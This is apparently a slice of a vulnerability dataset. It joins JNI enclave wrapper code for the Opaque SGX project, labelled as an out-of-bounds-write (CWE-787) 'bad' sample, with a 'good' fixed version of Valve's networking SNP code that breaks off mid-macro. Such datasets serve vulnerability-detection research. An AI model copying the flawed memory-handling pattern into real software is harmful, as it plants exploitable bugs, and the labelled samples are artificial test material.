Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Project( JNIEnv *env, jobject obj, jlong eid, jbyteArray project_list, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t project_list_length = (uint32_t) env->GetArrayLength(project_list); uint8_t *project_list_ptr = (uint8_t *) env->GetByteArrayElements(project_list, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Project", ecall_project( eid, project_list_ptr, project_list_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); env->ReleaseByteArrayElements(project_list, (jbyte *) project_list_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Filter( JNIEnv *env, jobject obj, jlong eid, jbyteArray condition, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t condition_length = (size_t) env->GetArrayLength(condition); uint8_t *condition_ptr = (uint8_t *) env->GetByteArrayElements(condition, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Filter", ecall_filter( eid, condition_ptr, condition_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); env->ReleaseByteArrayElements(condition, (jbyte *) condition_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Encrypt( JNIEnv *env, jobject obj, jlong eid, jbyteArray plaintext) { (void)obj; uint32_t plength = (uint32_t) env->GetArrayLength(plaintext); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(plaintext, &if_copy); uint8_t *plaintext_ptr = (uint8_t *) ptr; const jsize clength = plength + SGX_AESGCM_IV_SIZE + SGX_AESGCM_MAC_SIZE; jbyteArray ciphertext = env->NewByteArray(clength); uint8_t *ciphertext_copy = new uint8_t[clength]; sgx_check_quiet( "Encrypt", ecall_encrypt(eid, plaintext_ptr, plength, ciphertext_copy, (uint32_t) clength)); env->SetByteArrayRegion(ciphertext, 0, clength, (jbyte *) ciphertext_copy); env->ReleaseByteArrayElements(plaintext, ptr, 0); delete[] ciphertext_copy; return ciphertext; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_Sample( JNIEnv *env, jobject obj, jlong eid, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("Sample", ecall_sample( eid, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_FindRangeBounds( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jint num_partitions, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("Find Range Bounds", ecall_find_range_bounds( eid, sort_order_ptr, sort_order_length, num_partitions, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, reinterpret_cast<jbyte *>(output_rows)); free(output_rows); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); return ret; } JNIEXPORT jobjectArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_PartitionForSort( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jint num_partitions, jbyteArray input_rows, jbyteArray boundary_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); size_t boundary_rows_length = static_cast<size_t>(env->GetArrayLength(boundary_rows)); uint8_t *boundary_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(boundary_rows, &if_copy)); uint8_t **output_partitions = new uint8_t *[num_partitions]; size_t *output_partition_lengths = new size_t[num_partitions]; sgx_check("Partition For Sort", ecall_partition_for_sort( eid, sort_order_ptr, sort_order_length, num_partitions, input_rows_ptr, input_rows_length, boundary_rows_ptr, boundary_rows_length, output_partitions, output_partition_lengths)); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); env->ReleaseByteArrayElements(boundary_rows, reinterpret_cast<jbyte *>(boundary_rows_ptr), 0); jobjectArray result = env->NewObjectArray(num_partitions, env->FindClass("[B"), nullptr); for (jint i = 0; i < num_partitions; i++) { jbyteArray partition = env->NewByteArray(output_partition_lengths[i]); env->SetByteArrayRegion(partition, 0, output_partition_lengths[i], reinterpret_cast<jbyte *>(output_partitions[i])); free(output_partitions[i]); env->SetObjectArrayElement(result, i, partition); } delete[] output_partitions; delete[] output_partition_lengths; return result; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_ExternalSort( JNIEnv *env, jobject obj, jlong eid, jbyteArray sort_order, jbyteArray input_rows) { (void)obj; jboolean if_copy; size_t sort_order_length = static_cast<size_t>(env->GetArrayLength(sort_order)); uint8_t *sort_order_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(sort_order, &if_copy)); size_t input_rows_length = static_cast<size_t>(env->GetArrayLength(input_rows)); uint8_t *input_rows_ptr = reinterpret_cast<uint8_t *>( env->GetByteArrayElements(input_rows, &if_copy)); uint8_t *output_rows; size_t output_rows_length; sgx_check("External non-oblivious sort", ecall_external_sort(eid, sort_order_ptr, sort_order_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, reinterpret_cast<jbyte *>(output_rows)); free(output_rows); env->ReleaseByteArrayElements(sort_order, reinterpret_cast<jbyte *>(sort_order_ptr), 0); env->ReleaseByteArrayElements(input_rows, reinterpret_cast<jbyte *>(input_rows_ptr), 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_ScanCollectLastPrimary( JNIEnv *env, jobject obj, jlong eid, jbyteArray join_expr, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t join_expr_length = (uint32_t) env->GetArrayLength(join_expr); uint8_t *join_expr_ptr = (uint8_t *) env->GetByteArrayElements(join_expr, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Scan Collect Last Primary", ecall_scan_collect_last_primary( eid, join_expr_ptr, join_expr_length, input_rows_ptr, input_rows_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(join_expr, (jbyte *) join_expr_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousSortMergeJoin( JNIEnv *env, jobject obj, jlong eid, jbyteArray join_expr, jbyteArray input_rows, jbyteArray join_row) { (void)obj; jboolean if_copy; uint32_t join_expr_length = (uint32_t) env->GetArrayLength(join_expr); uint8_t *join_expr_ptr = (uint8_t *) env->GetByteArrayElements(join_expr, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint32_t join_row_length = (uint32_t) env->GetArrayLength(join_row); uint8_t *join_row_ptr = (uint8_t *) env->GetByteArrayElements(join_row, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Non-oblivious SortMergeJoin", ecall_non_oblivious_sort_merge_join( eid, join_expr_ptr, join_expr_length, input_rows_ptr, input_rows_length, join_row_ptr, join_row_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(join_expr, (jbyte *) join_expr_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); env->ReleaseByteArrayElements(join_row, (jbyte *) join_row_ptr, 0); return ret; } JNIEXPORT jobject JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousAggregateStep1( JNIEnv *env, jobject obj, jlong eid, jbyteArray agg_op, jbyteArray input_rows) { (void)obj; jboolean if_copy; uint32_t agg_op_length = (uint32_t) env->GetArrayLength(agg_op); uint8_t *agg_op_ptr = (uint8_t *) env->GetByteArrayElements(agg_op, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint8_t *first_row; size_t first_row_length; uint8_t *last_group; size_t last_group_length; uint8_t *last_row; size_t last_row_length; sgx_check("Non-Oblivious Aggregate Step 1", ecall_non_oblivious_aggregate_step1( eid, agg_op_ptr, agg_op_length, input_rows_ptr, input_rows_length, &first_row, &first_row_length, &last_group, &last_group_length, &last_row, &last_row_length)); jbyteArray first_row_array = env->NewByteArray(first_row_length); env->SetByteArrayRegion(first_row_array, 0, first_row_length, (jbyte *) first_row); free(first_row); jbyteArray last_group_array = env->NewByteArray(last_group_length); env->SetByteArrayRegion(last_group_array, 0, last_group_length, (jbyte *) last_group); free(last_group); jbyteArray last_row_array = env->NewByteArray(last_row_length); env->SetByteArrayRegion(last_row_array, 0, last_row_length, (jbyte *) last_row); free(last_row); env->ReleaseByteArrayElements(agg_op, (jbyte *) agg_op_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jclass tuple3_class = env->FindClass("scala/Tuple3"); jobject ret = env->NewObject( tuple3_class, env->GetMethodID(tuple3_class, "<init>", "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)V"), first_row_array, last_group_array, last_row_array); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousAggregateStep2( JNIEnv *env, jobject obj, jlong eid, jbyteArray agg_op, jbyteArray input_rows, jbyteArray next_partition_first_row, jbyteArray prev_partition_last_group, jbyteArray prev_partition_last_row) { (void)obj; jboolean if_copy; uint32_t agg_op_length = (uint32_t) env->GetArrayLength(agg_op); uint8_t *agg_op_ptr = (uint8_t *) env->GetByteArrayElements(agg_op, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint32_t next_partition_first_row_length = (uint32_t) env->GetArrayLength(next_partition_first_row); uint8_t *next_partition_first_row_ptr = (uint8_t *) env->GetByteArrayElements(next_partition_first_row, &if_copy); uint32_t prev_partition_last_group_length = (uint32_t) env->GetArrayLength(prev_partition_last_group); uint8_t *prev_partition_last_group_ptr = (uint8_t *) env->GetByteArrayElements(prev_partition_last_group, &if_copy); uint32_t prev_partition_last_row_length = (uint32_t) env->GetArrayLength(prev_partition_last_row); uint8_t *prev_partition_last_row_ptr = (uint8_t *) env->GetByteArrayElements(prev_partition_last_row, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Non-Oblivious Aggregate Step 2", ecall_non_oblivious_aggregate_step2( eid, agg_op_ptr, agg_op_length, input_rows_ptr, input_rows_length, next_partition_first_row_ptr, next_partition_first_row_length, prev_partition_last_group_ptr, prev_partition_last_group_length, prev_partition_last_row_ptr, prev_partition_last_row_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(agg_op, (jbyte *) agg_op_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); env->ReleaseByteArrayElements( next_partition_first_row, (jbyte *) next_partition_first_row_ptr, 0); env->ReleaseByteArrayElements( prev_partition_last_group, (jbyte *) prev_partition_last_group_ptr, 0); env->ReleaseByteArrayElements( prev_partition_last_row, (jbyte *) prev_partition_last_row_ptr, 0); return ret; } /* application entry */ //SGX_CDECL int SGX_CDECL main(int argc, char *argv[]) { (void)(argc); (void)(argv); #if defined(_MSC_VER) if (query_sgx_status() < 0) { /* either SGX is disabled, or a reboot is required to enable SGX */ printf("Enter a character before exit ...\n"); getchar(); return -1; } #endif /* Initialize the enclave */ if(initialize_enclave() < 0){ printf("Enter a character before exit ...\n"); getchar(); return -1; } /* Destroy the enclave */ sgx_destroy_enclave(global_eid); printf("Info: SampleEnclave successfully returned.\n"); return 0; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_517_0
crossvul-cpp_data_good_4593_0
//====== Copyright Valve Corporation, All rights reserved. ==================== #include "steamnetworkingsockets_snp.h" #include "steamnetworkingsockets_connections.h" #include "crypto.h" // memdbgon must be the last include file in a .cpp file!!! #include "tier0/memdbgon.h" namespace SteamNetworkingSocketsLib { struct SNPAckSerializerHelper { struct Block { // Acks and nacks count to serialize uint32 m_nAck; uint32 m_nNack; // What to put in the header if we use this as the // highest numbered block uint32 m_nLatestPktNum; // Lower 32-bits. We might send even fewer bits uint16 m_nEncodedTimeSinceLatestPktNum; // Total size of ack data up to this point: // header, all previous blocks, and this block int16 m_cbTotalEncodedSize; }; enum { k_cbHeaderSize = 5 }; enum { k_nMaxBlocks = 64 }; int m_nBlocks; int m_nBlocksNeedToAck; // Number of blocks we really need to send now. Block m_arBlocks[ k_nMaxBlocks ]; static uint16 EncodeTimeSince( SteamNetworkingMicroseconds usecNow, SteamNetworkingMicroseconds usecWhenSentLast ) { // Encode time since last SteamNetworkingMicroseconds usecElapsedSinceLast = usecNow - usecWhenSentLast; Assert( usecElapsedSinceLast >= 0 ); Assert( usecNow > 0x20000*k_usecAckDelayPrecision ); // We should never have small timestamp values. A timestamp of zero should always be "a long time ago" if ( usecElapsedSinceLast > 0xfffell<<k_nAckDelayPrecisionShift ) return 0xffff; return uint16( usecElapsedSinceLast >> k_nAckDelayPrecisionShift ); } }; // Fetch ping, and handle two edge cases: // - if we don't have an estimate, just be relatively conservative // - clamp to minimum inline SteamNetworkingMicroseconds GetUsecPingWithFallback( CSteamNetworkConnectionBase *pConnection ) { int nPingMS = pConnection->m_statsEndToEnd.m_ping.m_nSmoothedPing; if ( nPingMS < 0 ) return 200*1000; // no estimate, just be conservative if ( nPingMS < 1 ) return 500; // less than 1ms. Make sure we don't blow up, though, since they are asking for microsecond resolution. We should just keep our pings with microsecond resolution! return nPingMS*1000; } void SSNPSenderState::Shutdown() { m_unackedReliableMessages.PurgeMessages(); m_messagesQueued.PurgeMessages(); m_mapInFlightPacketsByPktNum.clear(); m_listInFlightReliableRange.clear(); m_cbPendingUnreliable = 0; m_cbPendingReliable = 0; m_cbSentUnackedReliable = 0; } //----------------------------------------------------------------------------- void SSNPSenderState::RemoveAckedReliableMessageFromUnackedList() { // Trim messages from the head that have been acked. // Note that in theory we could have a message in the middle that // has been acked. But it's not worth the time to go looking for them, // just to free up a bit of memory early. We'll get to it once the earlier // messages have been acked. while ( !m_unackedReliableMessages.empty() ) { CSteamNetworkingMessage *pMsg = m_unackedReliableMessages.m_pFirst; Assert( pMsg->SNPSend_ReliableStreamPos() > 0 ); int64 nReliableEnd = pMsg->SNPSend_ReliableStreamPos() + pMsg->m_cbSize; // Are we backing a range that is in flight (and thus we might need // to resend?) if ( !m_listInFlightReliableRange.empty() ) { auto head = m_listInFlightReliableRange.begin(); Assert( head->first.m_nBegin >= pMsg->SNPSend_ReliableStreamPos() ); if ( head->second == pMsg ) { Assert( head->first.m_nBegin < nReliableEnd ); return; } Assert( head->first.m_nBegin >= nReliableEnd ); } // Are we backing the next range that is ready for resend now? if ( !m_listReadyRetryReliableRange.empty() ) { auto head = m_listReadyRetryReliableRange.begin(); Assert( head->first.m_nBegin >= pMsg->SNPSend_ReliableStreamPos() ); if ( head->second == pMsg ) { Assert( head->first.m_nBegin < nReliableEnd ); return; } Assert( head->first.m_nBegin >= nReliableEnd ); } // We're all done! DbgVerify( m_unackedReliableMessages.pop_front() == pMsg ); pMsg->Release(); } } //----------------------------------------------------------------------------- SSNPSenderState::SSNPSenderState() { // Setup the table of inflight packets with a sentinel. m_mapInFlightPacketsByPktNum.clear(); SNPInFlightPacket_t &sentinel = m_mapInFlightPacketsByPktNum[INT64_MIN]; sentinel.m_bNack = false; sentinel.m_pTransport = nullptr; sentinel.m_usecWhenSent = 0; m_itNextInFlightPacketToTimeout = m_mapInFlightPacketsByPktNum.end(); DebugCheckInFlightPacketMap(); } #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 0 void SSNPSenderState::DebugCheckInFlightPacketMap() const { Assert( !m_mapInFlightPacketsByPktNum.empty() ); bool bFoundNextToTimeout = false; auto it = m_mapInFlightPacketsByPktNum.begin(); Assert( it->first == INT64_MIN ); Assert( m_itNextInFlightPacketToTimeout != it ); int64 prevPktNum = it->first; SteamNetworkingMicroseconds prevWhenSent = it->second.m_usecWhenSent; while ( ++it != m_mapInFlightPacketsByPktNum.end() ) { Assert( prevPktNum < it->first ); Assert( prevWhenSent <= it->second.m_usecWhenSent ); if ( it == m_itNextInFlightPacketToTimeout ) { Assert( !bFoundNextToTimeout ); bFoundNextToTimeout = true; } prevPktNum = it->first; prevWhenSent = it->second.m_usecWhenSent; } if ( !bFoundNextToTimeout ) { Assert( m_itNextInFlightPacketToTimeout == m_mapInFlightPacketsByPktNum.end() ); } } #endif //----------------------------------------------------------------------------- SSNPReceiverState::SSNPReceiverState() { // Init packet gaps with a sentinel SSNPPacketGap &sentinel = m_mapPacketGaps[INT64_MAX]; sentinel.m_nEnd = INT64_MAX; // Fixed value sentinel.m_usecWhenOKToNack = INT64_MAX; // Fixed value, for when there is nothing left to nack sentinel.m_usecWhenAckPrior = INT64_MAX; // Time when we need to flush a report on all lower-numbered packets // Point at the sentinel m_itPendingAck = m_mapPacketGaps.end(); --m_itPendingAck; m_itPendingNack = m_itPendingAck; } //----------------------------------------------------------------------------- void SSNPReceiverState::Shutdown() { m_mapUnreliableSegments.clear(); m_bufReliableStream.clear(); m_mapReliableStreamGaps.clear(); m_mapPacketGaps.clear(); } //----------------------------------------------------------------------------- void CSteamNetworkConnectionBase::SNP_InitializeConnection( SteamNetworkingMicroseconds usecNow ) { m_senderState.TokenBucket_Init( usecNow ); SteamNetworkingMicroseconds usecPing = GetUsecPingWithFallback( this ); /* * Compute the initial sending rate X_init in the manner of RFC 3390: * * X_init = min(4 * s, max(2 * s, 4380 bytes)) / RTT * * Note that RFC 3390 uses MSS, RFC 4342 refers to RFC 3390, and rfc3448bis * (rev-02) clarifies the use of RFC 3390 with regard to the above formula. */ Assert( usecPing > 0 ); int64 w_init = Clamp( 4380, 2 * k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend, 4 * k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend ); m_senderState.m_n_x = int( k_nMillion * w_init / usecPing ); // Go ahead and clamp it now SNP_ClampSendRate(); } //----------------------------------------------------------------------------- void CSteamNetworkConnectionBase::SNP_ShutdownConnection() { m_senderState.Shutdown(); m_receiverState.Shutdown(); } //----------------------------------------------------------------------------- int64 CSteamNetworkConnectionBase::SNP_SendMessage( CSteamNetworkingMessage *pSendMessage, SteamNetworkingMicroseconds usecNow, bool *pbThinkImmediately ) { int cbData = (int)pSendMessage->m_cbSize; // Assume we won't want to wake up immediately if ( pbThinkImmediately ) *pbThinkImmediately = false; // Check if we're full if ( m_senderState.PendingBytesTotal() + cbData > m_connectionConfig.m_SendBufferSize.Get() ) { SpewWarningRateLimited( usecNow, "Connection already has %u bytes pending, cannot queue any more messages\n", m_senderState.PendingBytesTotal() ); pSendMessage->Release(); return -k_EResultLimitExceeded; } // Check if they try to send a really large message if ( cbData > k_cbMaxUnreliableMsgSizeSend && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) ) { SpewWarningRateLimited( usecNow, "Trying to send a very large (%d bytes) unreliable message. Sending as reliable instead.\n", cbData ); pSendMessage->m_nFlags |= k_nSteamNetworkingSend_Reliable; } if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoDelay ) { // FIXME - need to check how much data is currently pending, and return // k_EResultIgnored if we think it's going to be a while before this // packet goes on the wire. } // First, accumulate tokens, and also limit to reasonable burst // if we weren't already waiting to send SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Assign a message number pSendMessage->m_nMessageNumber = ++m_senderState.m_nLastSentMsgNum; // Reliable, or unreliable? if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) { pSendMessage->SNPSend_SetReliableStreamPos( m_senderState.m_nReliableStreamPos ); // Generate the header byte *hdr = pSendMessage->SNPSend_ReliableHeader(); hdr[0] = 0; byte *hdrEnd = hdr+1; int64 nMsgNumGap = pSendMessage->m_nMessageNumber - m_senderState.m_nLastSendMsgNumReliable; Assert( nMsgNumGap >= 1 ); if ( nMsgNumGap > 1 ) { hdrEnd = SerializeVarInt( hdrEnd, (uint64)nMsgNumGap ); hdr[0] |= 0x40; } if ( cbData < 0x20 ) { hdr[0] |= (byte)cbData; } else { hdr[0] |= (byte)( 0x20 | ( cbData & 0x1f ) ); hdrEnd = SerializeVarInt( hdrEnd, cbData>>5U ); } pSendMessage->m_cbSNPSendReliableHeader = hdrEnd - hdr; // Grow the total size of the message by the header pSendMessage->m_cbSize += pSendMessage->m_cbSNPSendReliableHeader; // Advance stream pointer m_senderState.m_nReliableStreamPos += pSendMessage->m_cbSize; // Update stats ++m_senderState.m_nMessagesSentReliable; m_senderState.m_cbPendingReliable += pSendMessage->m_cbSize; // Remember last sent reliable message number, so we can know how to // encode the next one m_senderState.m_nLastSendMsgNumReliable = pSendMessage->m_nMessageNumber; Assert( pSendMessage->SNPSend_IsReliable() ); } else { pSendMessage->SNPSend_SetReliableStreamPos( 0 ); pSendMessage->m_cbSNPSendReliableHeader = 0; ++m_senderState.m_nMessagesSentUnreliable; m_senderState.m_cbPendingUnreliable += pSendMessage->m_cbSize; Assert( !pSendMessage->SNPSend_IsReliable() ); } // Add to pending list m_senderState.m_messagesQueued.push_back( pSendMessage ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_Message.Get(), "[%s] SendMessage %s: MsgNum=%lld sz=%d\n", GetDescription(), pSendMessage->SNPSend_IsReliable() ? "RELIABLE" : "UNRELIABLE", (long long)pSendMessage->m_nMessageNumber, pSendMessage->m_cbSize ); // Use Nagle? // We always set the Nagle timer, even if we immediately clear it. This makes our clearing code simpler, // since we can always safely assume that once we find a message with the nagle timer cleared, all messages // queued earlier than this also have it cleared. // FIXME - Don't think this works if the configuration value is changing. Since changing the // config value could violate the assumption that nagle times are increasing. Probably not worth // fixing. pSendMessage->SNPSend_SetUsecNagle( usecNow + m_connectionConfig.m_NagleTime.Get() ); if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_NoNagle ) m_senderState.ClearNagleTimers(); // Save the message number. The code below might end up deleting the message we just queued int64 result = pSendMessage->m_nMessageNumber; // Schedule wakeup at the appropriate time. (E.g. right now, if we're ready to send, // or at the Nagle time, if Nagle is active.) // // NOTE: Right now we might not actually be capable of sending end to end data. // But that case is relatievly rare, and nothing will break if we try to right now. // On the other hand, just asking the question involved a virtual function call, // and it will return success most of the time, so let's not make the check here. if ( GetState() == k_ESteamNetworkingConnectionState_Connected ) { SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); // Ready to send now? if ( usecNextThink > usecNow ) { // We are rate limiting. Spew about it? if ( m_senderState.m_messagesQueued.m_pFirst->SNPSend_UsecNagle() == 0 ) { SpewVerbose( "[%s] RATELIM QueueTime is %.1fms, SendRate=%.1fk, BytesQueued=%d\n", GetDescription(), m_senderState.CalcTimeUntilNextSend() * 1e-3, m_senderState.m_n_x * ( 1.0/1024.0), m_senderState.PendingBytesTotal() ); } // Set a wakeup call. EnsureMinThinkTime( usecNextThink ); } else { // We're ready to send right now. Check if we should! if ( pSendMessage->m_nFlags & k_nSteamNetworkingSend_UseCurrentThread ) { // We should send in this thread, before the API entry point // that the app used returns. Is the caller gonna handle this? if ( pbThinkImmediately ) { // Caller says they will handle it *pbThinkImmediately = true; } else { // Caller wants us to just do it here. CheckConnectionStateAndSetNextThinkTime( usecNow ); } } else { // Wake up the service thread ASAP to send this in the background thread SetNextThinkTimeASAP(); } } } return result; } EResult CSteamNetworkConnectionBase::SNP_FlushMessage( SteamNetworkingMicroseconds usecNow ) { // If we're not connected, then go ahead and mark the messages ready to send // once we connect, but otherwise don't take any action if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { m_senderState.ClearNagleTimers(); return k_EResultIgnored; } if ( m_senderState.m_messagesQueued.empty() ) return k_EResultOK; // If no Nagle timer was set, then there's nothing to do, we should already // be properly scheduled. Don't do work to re-discover that fact. if ( m_senderState.m_messagesQueued.m_pLast->SNPSend_UsecNagle() == 0 ) return k_EResultOK; // Accumulate tokens, and also limit to reasonable burst // if we weren't already waiting to send before this. // (Clearing the Nagle timers might very well make us want to // send so we want to do this first.) SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Clear all Nagle timers m_senderState.ClearNagleTimers(); // Schedule wakeup at the appropriate time. (E.g. right now, if we're ready to send.) SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); EnsureMinThinkTime( usecNextThink ); return k_EResultOK; } bool CSteamNetworkConnectionBase::ProcessPlainTextDataChunk( int usecTimeSinceLast, RecvPacketContext_t &ctx ) { #define DECODE_ERROR( ... ) do { \ ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, __VA_ARGS__ ); \ return false; } while(false) #define EXPECT_BYTES(n,pszWhatFor) \ do { \ if ( pDecode + (n) > pEnd ) \ DECODE_ERROR( "SNP decode overrun, %d bytes for %s", (n), pszWhatFor ); \ } while (false) #define READ_8BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(1,pszWhatFor); var = *(uint8 *)pDecode; pDecode += 1; } while(false) #define READ_16BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(2,pszWhatFor); var = LittleWord(*(uint16 *)pDecode); pDecode += 2; } while(false) #define READ_24BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(3,pszWhatFor); \ var = *(uint8 *)pDecode; pDecode += 1; \ var |= uint32( LittleWord(*(uint16 *)pDecode) ) << 8U; pDecode += 2; \ } while(false) #define READ_32BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(4,pszWhatFor); var = LittleDWord(*(uint32 *)pDecode); pDecode += 4; } while(false) #define READ_48BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(6,pszWhatFor); \ var = LittleWord( *(uint16 *)pDecode ); pDecode += 2; \ var |= uint64( LittleDWord(*(uint32 *)pDecode) ) << 16U; pDecode += 4; \ } while(false) #define READ_64BITU( var, pszWhatFor ) \ do { EXPECT_BYTES(8,pszWhatFor); var = LittleQWord(*(uint64 *)pDecode); pDecode += 8; } while(false) #define READ_VARINT( var, pszWhatFor ) \ do { pDecode = DeserializeVarInt( pDecode, pEnd, var ); if ( !pDecode ) { DECODE_ERROR( "SNP data chunk decode overflow, varint for %s", pszWhatFor ); } } while(false) #define READ_SEGMENT_DATA_SIZE( is_reliable ) \ int cbSegmentSize; \ { \ int sizeFlags = nFrameType & 7; \ if ( sizeFlags <= 4 ) \ { \ uint8 lowerSizeBits; \ READ_8BITU( lowerSizeBits, #is_reliable " size lower bits" ); \ cbSegmentSize = (sizeFlags<<8) + lowerSizeBits; \ if ( pDecode + cbSegmentSize > pEnd ) \ { \ DECODE_ERROR( "SNP decode overrun %d bytes for %s segment 